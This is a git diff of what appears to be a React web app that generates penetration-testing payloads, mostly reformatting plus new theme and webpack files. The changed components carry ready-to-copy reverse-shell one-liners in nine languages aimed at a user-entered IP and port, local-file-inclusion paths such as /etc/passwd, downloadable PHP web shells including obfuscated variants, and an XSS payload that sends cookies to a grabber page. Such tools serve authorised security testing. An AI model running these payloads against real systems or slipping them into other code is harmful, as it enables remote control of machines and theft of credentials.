{local_recon_ldifde}
</Paragraph>
<Text strong># Export user accounts with csvde</Text>
<Paragraph copyable code editable ellipsis={true}>
{local_recon_csvde}
</Paragraph>
</div>
</QueueAnim>
);

View File

@@ -6,34 +6,34 @@ import QueueAnim from 'rc-queue-anim';
import Clipboard from 'react-clipboard.js';
const { Title, Paragraph } = Typography;
const IconFont = createFromIconfontCN({
const IconFont = createFromIconfontCN( {
scriptUrl: [ './iconfont.js' ]
});
} );
export default function ReverseShell() {
const useIPv4State = PersistedState('ipv4_tcp_cache');
const [ values, setValues ] = useIPv4State({
export default function ReverseShell () {
const useIPv4State = PersistedState( 'ipv4_tcp_cache' );
const [ values, setValues ] = useIPv4State( {
ip: '',
port: ''
});
const handleChange = (name: string) => (event: { target: { value: string } }) => {
setValues({ ...values, [name]: event.target.value });
} );
const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {
setValues( { ...values, [ name ]: event.target.value } );
};
const successInfoReverseShell = () => {
message.success('Your reverse shell has been copied');
message.success( 'Your reverse shell has been copied' );
};
const successInfoEncodeURL = () => {
message.success('Reverse shell URI encoded has been copied');
message.success( 'Reverse shell URI encoded has been copied' );
};
const bash_rshell = `bash -c 'exec bash -i &>/dev/tcp/${values.ip}/${values.port} <&1'`;
const netcat_rshell = `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${values.ip} ${values.port} >/tmp/f`;
const php_rshell = `php -r '$sock=fsockopen(getenv("${values.ip}"),getenv("${values.port}"));exec("/bin/sh -i <&3 >&3 2>&3");'`;
const PS_rshell = `powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('${values.ip}',${values.port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"`;
const perl_rshell = `perl -e 'use Socket;$i="$ENV{${values.ip}}";$p=$ENV{${values.port}};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`;
const python_rshell = `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${values.ip}",${values.port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`;
const ruby_rshell = `ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["${values.ip}"],ENV["${values.port}"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'`;
const telnet_rshell = `TF=$(mktemp -u); mkfifo $TF && telnet ${values.ip} ${values.port} 0<$TF | /bin sh 1>$TF`;
const zsh_rshell = `zsh -c 'zmodload zsh/net/tcp && ztcp ${values.ip} ${values.port} && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'`;
const bash_rshell = `bash -c 'exec bash -i &>/dev/tcp/${ values.ip }/${ values.port } <&1'`;
const netcat_rshell = `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${ values.ip } ${ values.port } >/tmp/f`;
const php_rshell = `php -r '$sock=fsockopen(getenv("${ values.ip }"),getenv("${ values.port }"));exec("/bin/sh -i <&3 >&3 2>&3");'`;
const PS_rshell = `powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('${ values.ip }',${ values.port });$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"`;
const perl_rshell = `perl -e 'use Socket;$i="$ENV{${ values.ip }}";$p=$ENV{${ values.port }};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`;
const python_rshell = `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${ values.ip }",${ values.port }));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`;
const ruby_rshell = `ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["${ values.ip }"],ENV["${ values.port }"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'`;
const telnet_rshell = `TF=$(mktemp -u); mkfifo $TF && telnet ${ values.ip } ${ values.port } 0<$TF | /bin sh 1>$TF`;
const zsh_rshell = `zsh -c 'zmodload zsh/net/tcp && ztcp ${ values.ip } ${ values.port } && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'`;
return (
<QueueAnim delay={300} duration={1500}>
@@ -52,7 +52,7 @@ export default function ReverseShell() {
prefix={<WifiOutlined />}
name='Ip adress'
placeholder='IP Address or domain (ex: 212.212.111.222)'
onChange={handleChange('ip')}
onChange={handleChange( 'ip' )}
value={values.ip}
/>
</Col>
@@ -62,17 +62,14 @@ export default function ReverseShell() {
prefix={<IconFont type='icon-Network-Plug' />}
name='Port'
placeholder='Port (ex: 1337)'
onChange={handleChange('port')}
onChange={handleChange( 'port' )}
value={values.port}
/>
</Col>
</Row>
</div>
<Divider dashed />
<Divider orientation='center'>Bash</Divider>
<div style={{ padding: 10, marginTop: 15 }} key='a'>
<Title level={3}>
Bash <IconFont type='icon-gnubash' />
</Title>
<Paragraph code ellipsis={true}>
{bash_rshell}
</Paragraph>
@@ -85,7 +82,7 @@ export default function ReverseShell() {
<CopyOutlined /> Copy the reverse shell
</Button>
</Clipboard>
<Clipboard component='a' data-clipboard-text={encodeURI(bash_rshell)}>
<Clipboard component='a' data-clipboard-text={encodeURI( bash_rshell )}>
<Button
type='dashed'
onClick={successInfoEncodeURL}
@@ -95,11 +92,8 @@ export default function ReverseShell() {
</Button>
</Clipboard>
</div>
<Divider dashed />
<Divider orientation='center'>Zsh</Divider>
<div style={{ padding: 10, marginTop: 15 }} key='a'>
<Title level={3}>
Zsh <IconFont type='icon-command-line' />
</Title>
<Paragraph code ellipsis={true}>
{zsh_rshell}
</Paragraph>
@@ -112,7 +106,7 @@ export default function ReverseShell() {
<CopyOutlined /> Copy the reverse shell
</Button>
</Clipboard>
<Clipboard component='a' data-clipboard-text={encodeURI(zsh_rshell)}>
<Clipboard component='a' data-clipboard-text={encodeURI( zsh_rshell )}>
<Button
type='dashed'
onClick={successInfoEncodeURL}
@@ -122,11 +116,8 @@ export default function ReverseShell() {
</Button>
</Clipboard>
</div>
<Divider dashed />
<Divider orientation='center'>Netcat</Divider>
<div style={{ padding: 10, marginTop: 15 }} key='b'>
<Title level={3}>
Netcat <IconFont type='icon-command-line' />
</Title>
<Paragraph code ellipsis={true}>
{netcat_rshell}
</Paragraph>
@@ -139,7 +130,7 @@ export default function ReverseShell() {
<CopyOutlined /> Copy the reverse shell
</Button>
</Clipboard>
<Clipboard component='a' data-clipboard-text={encodeURI(netcat_rshell)}>
<Clipboard component='a' data-clipboard-text={encodeURI( netcat_rshell )}>
<Button
type='dashed'
onClick={successInfoEncodeURL}
@@ -149,7 +140,7 @@ export default function ReverseShell() {
</Button>
</Clipboard>
</div>
<Divider dashed />
<Divider orientation='center'>PHP</Divider>
<div
key='c'
style={{
@@ -157,9 +148,6 @@ export default function ReverseShell() {
marginTop: 15
}}
>
<Title level={3}>
PHP <IconFont type='icon-php' />
</Title>
<Paragraph code ellipsis={true}>
{php_rshell}
</Paragraph>
@@ -173,7 +161,7 @@ export default function ReverseShell() {
Copy the reverse shell
</Button>
</Clipboard>
<Clipboard component='a' data-clipboard-text={encodeURI(php_rshell)}>
<Clipboard component='a' data-clipboard-text={encodeURI( php_rshell )}>
<Button
type='dashed'
onClick={successInfoEncodeURL}
@@ -184,11 +172,8 @@ export default function ReverseShell() {
</Clipboard>
</div>
<Divider dashed />
<Divider orientation='center'>PowerShell</Divider>
<div style={{ padding: 10, marginTop: 15 }} key='a'>
<Title level={3}>
PowerShell <IconFont type='icon-powershell' />
</Title>
<Paragraph code ellipsis={true}>
{PS_rshell}
</Paragraph>
@@ -201,7 +186,7 @@ export default function ReverseShell() {
<CopyOutlined /> Copy the reverse shell
</Button>
</Clipboard>
<Clipboard component='a' data-clipboard-text={encodeURI(PS_rshell)}>
<Clipboard component='a' data-clipboard-text={encodeURI( PS_rshell )}>
<Button
type='dashed'
onClick={successInfoEncodeURL}
@@ -218,10 +203,7 @@ export default function ReverseShell() {
marginTop: 15
}}
>
<Divider dashed />
<Title level={3}>
Perl <IconFont type='icon-perl' />
</Title>
<Divider orientation='center'>Perl</Divider>
<Paragraph code ellipsis={true}>
{perl_rshell}
</Paragraph>
@@ -235,7 +217,7 @@ export default function ReverseShell() {
Copy the reverse shell
</Button>
</Clipboard>
<Clipboard component='a' data-clipboard-text={encodeURI(perl_rshell)}>
<Clipboard component='a' data-clipboard-text={encodeURI( perl_rshell )}>
<Button
type='dashed'
onClick={successInfoEncodeURL}
@@ -245,7 +227,7 @@ export default function ReverseShell() {
</Button>
</Clipboard>
</div>
<Divider dashed />
<Divider orientation='center'>Python</Divider>
<div
key='e'
style={{
@@ -253,9 +235,6 @@ export default function ReverseShell() {
marginTop: 15
}}
>
<Title level={3}>
Python <IconFont type='icon-python' />
</Title>
<Paragraph code ellipsis={true}>
{python_rshell}
</Paragraph>
@@ -269,7 +248,7 @@ export default function ReverseShell() {
Copy the reverse shell
</Button>
</Clipboard>
<Clipboard component='a' data-clipboard-text={encodeURI(python_rshell)}>
<Clipboard component='a' data-clipboard-text={encodeURI( python_rshell )}>
<Button
type='dashed'
onClick={successInfoEncodeURL}
@@ -279,7 +258,7 @@ export default function ReverseShell() {
</Button>
</Clipboard>
</div>
<Divider dashed />
<Divider orientation='center'>Ruby</Divider>
<div
key='f'
style={{
@@ -287,9 +266,6 @@ export default function ReverseShell() {
marginTop: 15
}}
>
<Title level={3}>
Ruby <IconFont type='icon-ruby' />
</Title>
<Paragraph code ellipsis={true}>
{ruby_rshell}
</Paragraph>
@@ -303,7 +279,7 @@ export default function ReverseShell() {
Copy the reverse shell
</Button>
</Clipboard>
<Clipboard component='a' data-clipboard-text={encodeURI(ruby_rshell)}>
<Clipboard component='a' data-clipboard-text={encodeURI( ruby_rshell )}>
<Button
type='dashed'
onClick={successInfoEncodeURL}
@@ -313,11 +289,8 @@ export default function ReverseShell() {
</Button>
</Clipboard>
</div>
<Divider dashed />
<Divider orientation='center'>Telnet</Divider>
<div style={{ padding: 15, marginTop: 15 }} key='g'>
<Title level={3}>
Telnet <IconFont type='icon-lvzhou_yuanchengTelnet' />
</Title>
<Paragraph code ellipsis={true}>
{telnet_rshell}
</Paragraph>
@@ -331,7 +304,7 @@ export default function ReverseShell() {
Copy the reverse shell
</Button>
</Clipboard>
<Clipboard component='a' data-clipboard-text={encodeURI(telnet_rshell)}>
<Clipboard component='a' data-clipboard-text={encodeURI( telnet_rshell )}>
<Button
type='dashed'
onClick={successInfoEncodeURL}

View File

@@ -4,7 +4,7 @@ import QueueAnim from 'rc-queue-anim';
const { Title, Paragraph } = Typography;
export default function TTY() {
export default function TTY () {
return (
<QueueAnim delay={300} duration={1500}>
<Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>

View File

@@ -6,13 +6,13 @@ import Clipboard from 'react-clipboard.js';
const { Title, Paragraph } = Typography;
export default function LFI() {
export default function LFI () {
const successInfoReverseShell = () => {
message.success('Your payload has been copied');
message.success( 'Your payload has been copied' );
};
const successInfoEncodeURL = () => {
message.success('Your payload URL encoded has been copied');
message.success( 'Your payload URL encoded has been copied' );
};
const directoryTraversal = `foo.php?file=../../../../../../../etc/passwd`;
@@ -94,7 +94,7 @@ export default function LFI() {
<CopyOutlined /> Copy the payload
</Button>
</Clipboard>
<Clipboard component='a' data-clipboard-text={encodeURI(directoryTraversal)}>
<Clipboard component='a' data-clipboard-text={encodeURI( directoryTraversal )}>
<Button
type='dashed'
onClick={successInfoEncodeURL}
@@ -126,7 +126,7 @@ export default function LFI() {
Copy the payload
</Button>
</Clipboard>
<Clipboard component='a' data-clipboard-text={encodeURI(phpWrapperLfi)}>
<Clipboard component='a' data-clipboard-text={encodeURI( phpWrapperLfi )}>
<Button
type='dashed'
onClick={successInfoEncodeURL}
@@ -158,7 +158,7 @@ export default function LFI() {
Copy the payload
</Button>
</Clipboard>
<Clipboard component='a' data-clipboard-text={encodeURI(phpWrapperFilter)}>
<Clipboard component='a' data-clipboard-text={encodeURI( phpWrapperFilter )}>
<Button
type='dashed'
onClick={successInfoEncodeURL}
@@ -190,7 +190,7 @@ export default function LFI() {
Copy the payload
</Button>
</Clipboard>
<Clipboard component='a' data-clipboard-text={encodeURI(phpRfi)}>
<Clipboard component='a' data-clipboard-text={encodeURI( phpRfi )}>
<Button
type='dashed'
onClick={successInfoEncodeURL}
@@ -210,40 +210,40 @@ export default function LFI() {
>
<Title level={3}>Useful LFI files</Title>
<Title level={4}>Linux</Title>
{linux.map((k, i) => {
{linux.map( ( k, i ) => {
return (
<Paragraph key={i} copyable code editable>
{k.title}
</Paragraph>
);
})}
} )}
<Divider dashed />
<Title level={4}>Apache</Title>
{apache.map((k, i) => {
{apache.map( ( k, i ) => {
return (
<Paragraph key={i} copyable code editable>
{k.title}
</Paragraph>
);
})}
} )}
<Divider dashed />
<Title level={4}>MySQL</Title>
{mysql.map((k, i) => {
{mysql.map( ( k, i ) => {
return (
<Paragraph key={i} copyable code editable>
{k.title}
</Paragraph>
);
})}
} )}
<Divider dashed />
<Title level={4}>Windows</Title>
{windows.map((k, i) => {
{windows.map( ( k, i ) => {
return (
<Paragraph key={i} copyable code editable>
{k.title}
</Paragraph>
);
})}
} )}
</div>
<Divider dashed />
</QueueAnim>

View File

@@ -16,21 +16,21 @@ import pretty from 'pretty';
const { Title, Paragraph } = Typography;
const { Panel } = Collapse;
const IconFont = createFromIconfontCN({
const IconFont = createFromIconfontCN( {
scriptUrl: [ './iconfont.js' ]
});
} );
export default function PhpReverseShell() {
const useIPv4State = PersistedState('ipv4_tcp_cache');
const [ values, setValues ] = useIPv4State({
export default function PhpReverseShell () {
const useIPv4State = PersistedState( 'ipv4_tcp_cache' );
const [ values, setValues ] = useIPv4State( {
ip: '',
port: ''
});
const handleChange = (name: string) => (event: { target: { value: string; }; }) => {
setValues({ ...values, [name]: event.target.value });
} );
const handleChange = ( name: string ) => ( event: { target: { value: string; }; } ) => {
setValues( { ...values, [ name ]: event.target.value } );
};
const successInfoReverseShell = () => {
message.success('Your reverse shell has been copied');
message.success( 'Your reverse shell has been copied' );
};
const oneLiner = `<?php system($_GET["cmd"]);?>`;
const shell_obfuscate =
@@ -46,8 +46,8 @@ export default function PhpReverseShell() {
set_time_limit (0);
$VERSION = "1.0";
$ip = '${values.ip}'; // You have changed this
$port = ${values.port}; // And this
$ip = '${ values.ip }'; // You have changed this
$port = ${ values.port }; // And this
$chunk_size = 1400;
$write_a = null;
$error_a = null;
@@ -205,7 +205,7 @@ export default function PhpReverseShell() {
prefix={<WifiOutlined />}
name='Ip adress'
placeholder='IP Address or domain (ex: 212.212.111.222)'
onChange={handleChange('ip')}
onChange={handleChange( 'ip' )}
value={values.ip}
/>
</Col>
@@ -215,7 +215,7 @@ export default function PhpReverseShell() {
prefix={<IconFont type='icon-Network-Plug' />}
name='Port'
placeholder='Port (ex: 1337)'
onChange={handleChange('port')}
onChange={handleChange( 'port' )}
value={values.port}
/>
</Col>
@@ -233,7 +233,7 @@ export default function PhpReverseShell() {
<Collapse defaultActiveKey={[ '0' ]}>
<Panel header='View the souce code' key='1'>
<SyntaxHighlighter language='php' style={vs2015} showLineNumbers={true}>
{pretty(phpReverseShell)}
{pretty( phpReverseShell )}
</SyntaxHighlighter>
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15 }}>
<a
@@ -251,13 +251,13 @@ export default function PhpReverseShell() {
type='primary'
style={{ marginBottom: 10, marginTop: 15 }}
onClick={() => {
const element = document.createElement('a');
const file = new Blob([ phpReverseShell ], {
const element = document.createElement( 'a' );
const file = new Blob( [ phpReverseShell ], {
type: 'text/plain'
});
element.href = URL.createObjectURL(file);
} );
element.href = URL.createObjectURL( file );
element.download = 'reverseShell.php';
document.body.appendChild(element);
document.body.appendChild( element );
element.click();
}}
>
@@ -275,7 +275,7 @@ export default function PhpReverseShell() {
</Button>
</Clipboard>
</div>
<Divider orientation="left">Basic RCE</Divider>
<Divider orientation="center">Basic RCE</Divider>
<div
key='b'
style={{
@@ -292,13 +292,13 @@ export default function PhpReverseShell() {
type='primary'
style={{ marginBottom: 10, marginTop: 15 }}
onClick={() => {
const element = document.createElement('a');
const file = new Blob([ oneLiner ], {
const element = document.createElement( 'a' );
const file = new Blob( [ oneLiner ], {
type: 'text/plain'
});
element.href = URL.createObjectURL(file);
} );
element.href = URL.createObjectURL( file );
element.download = 'basicRCE.php';
document.body.appendChild(element);
document.body.appendChild( element );
element.click();
}}
>
@@ -316,7 +316,7 @@ export default function PhpReverseShell() {
</Button>
</Clipboard>
</div>
<Divider orientation="left">Web Shell</Divider>
<Divider orientation="center">Web Shell</Divider>
<div
key='c'
style={{
@@ -352,7 +352,7 @@ export default function PhpReverseShell() {
</a>
</Button>
</div>
<Divider orientation="left">Obfuscated PHP Web Shell</Divider>
<Divider orientation="center">Obfuscated PHP Web Shell</Divider>
<div
key='d'
style={{
@@ -366,13 +366,13 @@ export default function PhpReverseShell() {
type='primary'
style={{ marginBottom: 10, marginTop: 15 }}
onClick={() => {
const element = document.createElement('a');
const file = new Blob([ '<?=`$_GET[0]`?>' ], {
const element = document.createElement( 'a' );
const file = new Blob( [ '<?=`$_GET[0]`?>' ], {
type: 'text/plain'
});
element.href = URL.createObjectURL(file);
} );
element.href = URL.createObjectURL( file );
element.download = 'obfuscateShell.php';
document.body.appendChild(element);
document.body.appendChild( element );
element.click();
}}
>
@@ -397,13 +397,13 @@ export default function PhpReverseShell() {
type='primary'
style={{ marginBottom: 10, marginTop: 15 }}
onClick={() => {
const element = document.createElement('a');
const file = new Blob([ '<?=`$_POST[0]`?>' ], {
const element = document.createElement( 'a' );
const file = new Blob( [ '<?=`$_POST[0]`?>' ], {
type: 'text/plain'
});
element.href = URL.createObjectURL(file);
} );
element.href = URL.createObjectURL( file );
element.download = 'obfuscateShell.php';
document.body.appendChild(element);
document.body.appendChild( element );
element.click();
}}
>
@@ -430,13 +430,13 @@ export default function PhpReverseShell() {
type='primary'
style={{ marginBottom: 10, marginTop: 15 }}
onClick={() => {
const element = document.createElement('a');
const file = new Blob([ "<?=`{$_REQUEST['_']}`?>" ], {
const element = document.createElement( 'a' );
const file = new Blob( [ "<?=`{$_REQUEST['_']}`?>" ], {
type: 'text/plain'
});
element.href = URL.createObjectURL(file);
} );
element.href = URL.createObjectURL( file );
element.download = 'obfuscateShell.php';
document.body.appendChild(element);
document.body.appendChild( element );
element.click();
}}
>
@@ -462,13 +462,13 @@ export default function PhpReverseShell() {
type='primary'
style={{ marginBottom: 10, marginTop: 15 }}
onClick={() => {
const element = document.createElement('a');
const file = new Blob([ shell_obfuscate ], {
const element = document.createElement( 'a' );
const file = new Blob( [ shell_obfuscate ], {
type: 'text/plain'
});
element.href = URL.createObjectURL(file);
} );
element.href = URL.createObjectURL( file );
element.download = 'obfuscateShell.php';
document.body.appendChild(element);
document.body.appendChild( element );
element.click();
}}
>
@@ -495,13 +495,13 @@ export default function PhpReverseShell() {
type='primary'
style={{ marginBottom: 10, marginTop: 15 }}
onClick={() => {
const element = document.createElement('a');
const file = new Blob([ shell_obfuscate_function ], {
const element = document.createElement( 'a' );
const file = new Blob( [ shell_obfuscate_function ], {
type: 'text/plain'
});
element.href = URL.createObjectURL(file);
} );
element.href = URL.createObjectURL( file );
element.download = 'obfuscateShell.php';
document.body.appendChild(element);
document.body.appendChild( element );
element.click();
}}
>

View File

@@ -3,7 +3,7 @@ import { Typography, Divider } from 'antd';
const { Title, Paragraph } = Typography;
import QueueAnim from 'rc-queue-anim';
export default function XSS() {
export default function XSS () {
const DataGrabber = [
{
title: "<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>"
@@ -91,13 +91,13 @@ export default function XSS() {
Obtains the administrator cookie or sensitive access token, the following payload will send it to a
controlled page.
</Paragraph>
{DataGrabber.map((k, i) => {
{DataGrabber.map( ( k, i ) => {
return (
<Paragraph key={i} copyable code editable ellipsis={true}>
{k.title}
</Paragraph>
);
})}
} )}
</div>
<Divider orientation='center'>XSS in HTML/Applications</Divider>
<div
@@ -106,20 +106,20 @@ export default function XSS() {
padding: 15
}}
>
{BasicXSS.map((k, i) => {
{BasicXSS.map( ( k, i ) => {
return (
<Paragraph key={i} copyable code editable ellipsis={true}>
{k.title}
</Paragraph>
);
})}
{ImgPayload.map((k, i) => {
} )}
{ImgPayload.map( ( k, i ) => {
return (
<Paragraph key={i} copyable code editable ellipsis={true}>
{k.title}
</Paragraph>
);
})}
} )}
</div>
<Divider orientation='center'>XSS in Markdown</Divider>
<div
@@ -128,13 +128,13 @@ export default function XSS() {
padding: 15
}}
>
{XSSMarkdown.map((k, i) => {
{XSSMarkdown.map( ( k, i ) => {
return (
<Paragraph key={i} copyable code editable>
{k.title}
</Paragraph>
);
})}
} )}
</div>
<Divider orientation='center'>XSS in SVG (short)</Divider>
<div
@@ -143,13 +143,13 @@ export default function XSS() {
padding: 15
}}
>
{XSSSvg.map((k, i) => {
{XSSSvg.map( ( k, i ) => {
return (
<Paragraph key={i} copyable code editable ellipsis={true}>
{k.title}
</Paragraph>
);
})}
} )}
</div>
<Divider orientation='center'>Bypass word blacklist with code evaluation</Divider>
<div
@@ -158,13 +158,13 @@ export default function XSS() {
padding: 15
}}
>
{BypassWord.map((k, i) => {
{BypassWord.map( ( k, i ) => {
return (
<Paragraph key={i} copyable code editable>
{k.title}
</Paragraph>
);
})}
} )}
</div>
</QueueAnim>
);

View File

@@ -0,0 +1,7 @@
import styles from './dark-compact.theme.less';
import { useApplyStyles } from '../theming';
export default function DarkTheme () {
useApplyStyles( styles );
return null;
}

8
src/themes/DarkTheme.tsx Normal file
View File

@@ -0,0 +1,8 @@
import * as React from 'react';
import styles from './dark-compact.theme.less';
import { useApplyStyles } from '../theming';
export default function DarkTheme () {
useApplyStyles( styles );
return null;
}

View File

@@ -0,0 +1,8 @@
import * as React from 'react';
import styles from './light-compact.theme.less';
import { useApplyStyles } from '../theming';
export default function LightCompactTheme () {
useApplyStyles( styles );
return null;
}

View File

@@ -0,0 +1,8 @@
import * as React from 'react';
import styles from './light.theme.less';
import { useApplyStyles } from '../theming';
export default function DarkTheme () {
useApplyStyles( styles );
return null;
}

View File

@@ -0,0 +1,6 @@
@import '../../node_modules/antd/dist/antd.dark.less';
@import '../../node_modules/antd/dist/antd.compact.less';
.site-layout .site-layout-background {
background: #0f0f0f;
border-radius: 10px;
}

View File

@@ -0,0 +1,5 @@
@import '../../node_modules/antd/dist/antd.dark.less';
.site-layout .site-layout-background {
background: #0f0f0f;
border-radius: 10px;
}

29
src/themes/index.ts Normal file
View File

@@ -0,0 +1,29 @@
import { lazy } from 'react';
import { Theme } from '../theming/types';
export const themes: Theme[] = [
{
id: 'light', // used as value in the select
displayName: 'Light', // used as label in the select
filename: 'light.theme.less',
component: lazy(() => import('../themes/LightTheme'))
},
{
id: 'lightCompact',
displayName: 'Light Compact',
filename: 'light.theme.less',
component: lazy(() => import('../themes/LightCompactTheme'))
},
{
id: 'dark',
displayName: 'Dark',
filename: 'light.theme.less',
component: lazy(() => import('../themes/DarkTheme'))
},
{
id: 'darkCompact',
displayName: 'Dark Compact',
filename: 'light.theme.less',
component: lazy(() => import('../themes/DarkCompactTheme'))
}
];

View File

@@ -0,0 +1,9 @@
@import '../../node_modules/antd/dist/antd.compact.less';
.site-layout .site-layout-background {
background: #fff;
border-radius: 10px;
}
.ant-divider-dashed {
border-color: rgba(0, 0, 0, 0.20);
}

View File

@@ -0,0 +1,9 @@
@import '../../node_modules/antd/dist/antd.less';
.site-layout .site-layout-background {
background: #fff;
border-radius: 10px;
}
.ant-divider-dashed {
border-color: rgba(0, 0, 0, 0.20);
}

View File

@@ -0,0 +1,18 @@
import * as React from 'react';
import { Spin, SpinProps } from 'antd';
import { LoadingOutlined } from '@ant-design/icons';
export default function LoadingIndicator ( props: SpinProps ) {
return (
<div
style={{
height: '100%',
position: 'absolute',
top: '50%',
left: '50%',
transform: 'translate(-50%, -520%)'
}}>
<Spin indicator={<LoadingOutlined />} {...props} />
</div>
);
}

26
src/theming/index.tsx Normal file
View File

@@ -0,0 +1,26 @@
import * as React from 'react';
import { Suspense, useEffect } from 'react';
import { LazyStyle, Theme } from './types';
import LoadingIndicator from './LoadingIndicator';
export function useApplyStyles ( styles: LazyStyle ): void {
useEffect( () => {
styles.use();
return () => styles.unuse();
} );
}
interface DynamicThemeProps {
themes: Theme[],
value: string,
}
export default function DynamicTheme ( { themes, value }: DynamicThemeProps ) {
const Component = themes.find( theme => theme.id === value )?.component;
return (
<Suspense fallback={<LoadingIndicator tip="loading" />}>
<Component />
</Suspense>
);
}

13
src/theming/types.ts Normal file
View File

@@ -0,0 +1,13 @@
import { ReactNode } from 'react';
export interface LazyStyle {
use: () => void;
unuse: () => void;
}
export interface Theme {
id: string;
displayName: string;
filename: string;
component: ReactNode;
}

View File

@@ -2,13 +2,27 @@
"compilerOptions": {
"jsx": "react",
"module": "commonjs",
"allowSyntheticDefaultImports": true,
"noImplicitAny": false,
"outDir": "./dist/",
"preserveConstEnums": true,
"removeComments": true,
"esModuleInterop": true,
"baseUrl": "src",
"sourceMap": true,
"target": "es5",
"moduleResolution": "node",
"target": "es6",
"paths": {
"compforms": [
"compforms"
],
"components": [
"components"
],
"utils": [
"utils"
]
}
},
"include": [
"./src/**/**/*"

View File

@@ -3,6 +3,16 @@ const path = require('path');
const HtmlWebpackPlugin = require('html-webpack-plugin');
const { CleanWebpackPlugin } = require('clean-webpack-plugin');
const CopyWebpackPlugin = require('copy-webpack-plugin');
const ReactRefreshWebpackPlugin = require('@pmmmwh/react-refresh-webpack-plugin');
const lessLoader = {
loader: 'less-loader',
options: {
lessOptions: {
javascriptEnabled: true
}
}
};
module.exports = {
mode: 'development',
@@ -14,6 +24,7 @@ module.exports = {
plugins: [
new webpack.HotModuleReplacementPlugin(),
new CleanWebpackPlugin(),
new ReactRefreshWebpackPlugin(),
new HtmlWebpackPlugin({
title: 'Output Management',
template: './src/index.html'
@@ -70,11 +81,11 @@ module.exports = {
loader: 'ts-loader',
exclude: /node_modules/
},
{
/* {
test: /\.css$/,
include: path.resolve(__dirname, 'src'),
use: [ 'style-loader', 'css-loader' ]
},
}, */
{
test: /\.(png|svg|jpg|gif)$/,
include: path.resolve(__dirname, 'src'),
@@ -84,6 +95,22 @@ module.exports = {
test: /\.(woff|woff2|eot|ttf|otf)$/,
include: path.resolve(__dirname, 'src'),
use: [ 'file-loader' ]
},
{
test: /\.theme\.(less|css)$/i,
use: [
{
loader: 'style-loader',
options: { injectType: 'lazyStyleTag' }
},
'css-loader',
lessLoader
]
},
{
test: /\.(less|css)$/,
exclude: /\.theme\.(less|css)$/i,
use: [ 'style-loader', 'css-loader' ]
}
]
}